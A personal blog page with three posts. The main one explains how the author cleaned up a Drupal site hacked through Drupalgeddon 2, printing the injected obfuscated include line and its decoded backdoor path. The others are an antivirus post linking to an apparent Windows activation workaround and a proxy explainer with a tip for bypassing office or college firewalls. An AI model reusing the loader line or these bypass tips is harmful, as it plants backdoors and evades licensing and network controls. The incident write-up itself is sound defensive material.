Search blog

Showing posts with label Online Security Solutions. Show all posts
Showing posts with label Online Security Solutions. Show all posts

Thursday, May 3, 2018

[SOLVED] - How my Drupal Site Got Hacked & How I Cleaned/Fixed it

NOTE: This solution is only possible if you have a clean backup of your website. You can still continue to read it and see if you can apply the various recommended solution here, and clean-up your site.

The Hack - How it happened

One of my Drupal site recently got compromised due to a security exploit in the  Drupal core itself, you can read about the exploit here in detail: Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. In my 8 years of using Drupal this was the first time I experienced such a severe attack. In fact this exploit/attack was so considered to be so sever that it was given the nomenclature, Drupalggedon Version 2.

It took me a good one week to fully clean my site, and now it's almost a week past the cleanup stage and I haven't heard from the attacker any more :-D. During the site cleanup process, I have learned many new and important security techniques, which I would like to share through this post with the hope that it might help someone too.

I became aware of the attack, after my webhost downed and informed me about a malware attack on my site. They sent me the following mail informing me about the hack:
Email from my webhost informing me about the hack
Click on image to enlarge
Mail sent to me by my webhost informing me about the hack
Click on image to enlarge
The hacker was able to make a backdoor entry and perform remote code executions due to which large number of emails were being sent from my hosting account. Also he or she or God knows who (the hacker) had inserted obfuscated PHP code in my the 'index.php' file of my Drupal Installation's and also created several index.php files inside following Drupal directories:
  • cgi-bin
  • profiles
  • sites
  • sites/default and various other folders
The said attacker could have been a bot also (because somewhere I read, the attack can be automated).

Since my traffic flow is quite small, I use a shared hosting account to host my personal website and projects. Currently I host about four websites in this server by making use of Addon Domains. Almost all the four websites were affected by this intrusion. Amongst the four websites, one website was using Drupal, one was using Wordpress, and two of the remaining websites were static websites.

NOTE: Please note that it is strongly suggested, where ever possible, you host each one of your website in a separate server. From a security standpoint this is the best option for obvious reasons because from my case itself you can see, when one website got compromised, all other websites suffered the same fate.

So inspecting the file system of my websites here's what I found out. With Drupal and Wordpress installations I found out that the index.php, wp-config.php, wp-settings.php files were infected with addition of obfuscated PHP codes. Below you can see how the 'index.php' file of my Drupal 7 site was infected by the addition of a single line of obfuscated PHP code:

Obfuscated PHP Code
 /*df226*/   
  @include "\x2fho\x6de/\x6dar\x70ai\x6ef/\x70ub\x6cic\x5fht\x6dl/\x63li\x65nt\x2dde\x6do/\x73ac\x6bid\x2fmi\x73c/\x66av\x69co\x6e_c\x63b9\x393.\x69co";   
  /*df226*/   
  /**   
You can decode the obfuscated PHP code using the following site: Online PHP Script Decoder

Decrypting the above obfuscated PHP code, the code below is what I got, and from it I found out that that the hacker had placed a favicon file called 'favicon_ccb993.ico' inside the directory called 'misc'.

Decrypted Obfuscated PHP Code
 @include "/home/marpainf/public_html/client-demo/sackid/misc/favicon_ccb993.ico";   

But the most important thing to note here is that, this favicon file is not really a favicon file. It's a PHP file, just faked as a favicon file. Just rename the favicon file by replacing the '.ico' extension with a .php extension, for example 'favicon_ccb993.php', and open the file, and you will know what I mean. You can view the decrypted favicon_ccb993.ico file here: http://bit.ly/2HPfNwm

Infected Drupal 7 index.php file
 <?php  
 /*df226*/  
 @include "\x2fho\x6de/\x6dar\x70ai\x6ef/\x70ub\x6cic\x5fht\x6dl/\x63li\x65nt\x2dde\x6do/\x73ac\x6bid\x2fmi\x73c/\x66av\x69co\x6e_c\x63b9\x393.\x69co";  
 /*df226*/  
 /**  
  * @file  
  * The PHP page that serves all page requests on a Drupal installation.  
  *  
  * The routines here dispatch control to the appropriate handler, which then  
  * prints the appropriate page.  
  *  
  * All Drupal code is released under the GNU General Public License.  
  * See COPYRIGHT.txt and LICENSE.txt.  
  */  
 /**  
  * Root directory of Drupal installation.  
  */  
 define('DRUPAL_ROOT', getcwd());  
 require_once DRUPAL_ROOT . '/includes/bootstrap.inc';  
 drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);  
 menu_execute_active_handler();  

The Fix/Cleanup:


1. Allow only yourself to access your site and block all other access

First and foremost, open up your .htaccess file and enter the following code. This will block access to all your websites excepting yourself, allowing you to perform your site's cleanup process without any worry of any further attack. This .htaccess file should exist right inside your site's Document Root folder.
 # Deny access to all users except yourself  
 deny from all  
 allow from enter_your_ip_here  

2. Revert to a clean old backup and update your Drupal core to the latest version

Reverting to an old backup is highly recommended, in fact a must, because as per my research it's very difficult to clean an already compromised site and trace the numerous backdoor entry-points the hacker might have created. That's why the safest bet is to go with a clean backup rather than try and update an already compromised site.

3. Update your site to the latest Drupal release

This process is also very important, because no matter how much I reverted to my old backup copy the hacker managed to attack my site. And in my case when I began my cleanup process, Drupal still hadn't release a solution viz. Drupal 7.59. Only after this fix was release, which was about 2-3 days from the time my site was attacked, and after I finished updating to this release from Drupal, the exploit stopped.


4. Install Drupal Security Contrib Modules

I have also installed the following contrib modules that helps enhance your Drupal site's security:
Security Review
The Security Review module automates testing for many of the easy-to-make mistakes that render your site insecure.

Paranoia
The Paranoia module attempts to identify all the places that a user can evaluate PHP via Drupal's web interface and then block those. It reduces the potential impact of an attacker gaining elevated permission on a Drupal site. 

MD5 Check
The MD5 Check generates a md5 checksum of all module files. If module is changed a critical security error is generated in watchdog log. This module should only used in production environments.

Hacked
This module scans the currently installed Drupal, contributed modules and themes, re-downloads them and determines if they have been changed. Changes are marked clearly and if the diff module is installed then Hacked! will allow you to see the exact lines that have changed.

NOTE: Be aware though that the more modules you have running on your site the greater (usually) attack area you expose.

5.  Set the Correct User Group & File Permissions for your Drupal Directory/Files

Make sure all your directory have permission set to 755 and all your files have permission set to 644.

It is dangerous to allow the web server to write to files inside the document root of your server. Doing so could allow Drupal to write files that could then be executed. An attacker might use such a vulnerability to take control of your site. An exception is the Drupal files, private files, and temporary directories which Drupal needs permission to write to in order to provide features like file attachments. Read more at: http://bit.ly/2HKELRp.

Site Cleanup = SUCCESSFUL!

Finally, my site was all clean. I confirmed this with my webhost, and they too confirmed the same. You can see the confirmation screenshot below.

Tuesday, February 8, 2011

Why you should use Microsoft Security Essential?



I've used many anti-virus(s) over the years gone by ranging from McAfee, Eset Nod32, Kaspersky etc.. Few months back I became aware of this awesome, cool anti-virus provided by Microsoft christened Microsoft Security Essentials and surprisingly all for FREE!!! Yeah, get that RIGHT... it's all free... provided you own a Genuine Microsoft Windows XP, Vista, 7 (32 bit | 64 bit) software or you have this version of Microsoft Windows 7 http://soluzione08.blogspot.com/2011/02/windows-activation-technologies.html

Once you start using Microsoft Essential you'll be saving your time and money and experience many other good things:

1. *Free so no need to look for crack, hacks and keygens.
2. No need to Renew your Subscription yearly
3. Quite light and so won't Put much load on your system "enhancing your computer usage experience."


& lots more .. so what you waiting for.. get a copy of your Security Essential right here.. Download Security Essential


Note: Remember to download the right version of the anti virus (32 or 64 bit) depending on your Operating System!



Wednesday, October 29, 2008

Hide Your IP Address For Secured Browsing



Your right to anonymity

Amendments 4 and 5 of The United States Bill Of Rights protect the right to be free of unwarranted and unwanted government intrusion into one's personal and private affairs, papers, and possessions. Article 12 of The United Nations Universal Declaration of Human Rights states, "No one shall be subjected to arbitrary interference with his privacy, family, home or correspondence, nor to attacks upon his honour and reputation. Everyone has the right to the protection of the law against such interference or attacks."

Despite some charges to the contrary, anonymous Web surfing is not the sole province of criminals. Anonymity also serves whistle blowers, free speech advocates, and people just looking for personal privacy online. Privacy is not a crime and anonymity is not morally ambiguous or wrong, they are your right.

Technical challenges to online privacy

The Internet did not evolve with privacy in mind. In fact, the protocols that provide the fundamental underpinnings of the Internet are inherently non-anonymous. It's just a simple matter of computers needing to know each other's addresses in order to exchange data. For instance, our server has detected your Internet Protocol (IP) address as "59.164.100.213". Other characteristics that a server can detect about you are your referrer (the site from which you are linking), the user-agent (the program you are using to browse the Web), and your operating system.

What does your IP address reveal about you?

Your IP address reveals your point of entry to the Internet and can be used to trace your communications back to your ISP, your employer's network, your school, a public terminal. Though your IP address may not identify you personally, an IP is a unique identifier which represents your computer's digital ID while you are online.

It is possible to disguise your IP address on the Web by using an anonymous proxy server. A proxy acts as an intermediary, routing communications between your computer and the Internet. A proxy specializing in anonymous surfing, however, uses its own IP address in place of yours in every outgoing request.

Approaches to proxy

Proxies are commonly used for several reasons: security, load balancing, data caching in order to reduce bandwidth demands, and censorship or filtering. Filtering proxies insulate you from objectionable elements of Webpages such as cookies, ad banners, dynamic content like Javascript, Java Applets and ActiveX controls. Some anonymous proxies encrypt your Web communications, protecting you from routine monitoring or even dedicated surveillance. Be careful, though, not all proxies are anonymous! Here is an overview of the basic approaches to proxy:

  • Web-based Proxies: Web-based Proxies are powered by server-side softwares such as CGIProxy, PHProxy, Poxy, and custom proxy scripts. These proxies work entirely through a Web browser. Usually all that is needed to hide your IP address and surf anonymously is to visit the service's homepage in a Web browser and enter a URL (website address) in the form provided. There is no requirement to download or install software or reconfigure your computer. To work, a CGI based proxy must manipulate the document you've requested and all its associated elements and objects. This can be tricky, and not all proxies are as efficient or effective as others. Some services are slow and may produce errors while rendering the many variations of Web page code. But they are popular, numerous, and easy to use. See this page for a complete list of Web proxies.

    Proxy.org recommends: Proxify® and the other proxies listed in the top ten.

  • Open Proxies: So-called "open proxies" are HTTP or SOCKS type proxy servers that are accidently or maliciously left "open" and accessible on the Internet. HTTP or SOCKS type proxy servers require that you configure your browser's proxy settings in order to use them. These proxies have the advantage of being compatible with almost all webpages since they do not have to modify the requested page to keep you anonymous. However, there are several major disavantages to using open proxies. Many utilize computers that are compromised, operated by government agencies, or operated by malicious individuals. Often when an attacker obtains control of an end-user's computer they will install a proxy server so the machine can be exploited to launch further attacks on other machines. It is also commonplace for open proxies to be operated as "honey pots", where all actions are logged for forensic research. Open proxies are easy to abuse and there are many people using them to commit credit card fraud, pay-per-click fraud, attack or break into computers, and hundreds of other illegal activities. We strongly discourage the use of open proxies as they provide no privacy or security and using them can result in increased exposure and liability.

    Proxy.org recommends: Socksify® instead of any open proxy.

  • Proxy networks: Various proxy networks (Freenet, I2P, JAP, and TOR) feature layered encryption (sometimes called "onion routing") and peer-to-peer networking to allow their users to communicate anonymously with each other. Rather than operate their own equipment, most rely on end-users to donate bandwidth and other resources to the network. They do not control the servers in their network and certainly a percentage of them are operated by malicious individuals for malicious reasons. Therefore any promises of privacy and security should be evaluated with this in mind. Also, these services have developed a reputation for being relatively slow.

  • Proxy Software: Other subscription-based services offer client-side application software to automatically configure your browser's proxy settings. Do not be fooled by these services as most are merely open proxies dressed up with a fancy interface.
Source: Proxy.org





C.D's Cool Tips: You can use these proxy servers at your college and office to bypass the Firewall, and browser sites like You Tube, FaceBook, Orkut, etc.....

Top 5 Posts (Weekly)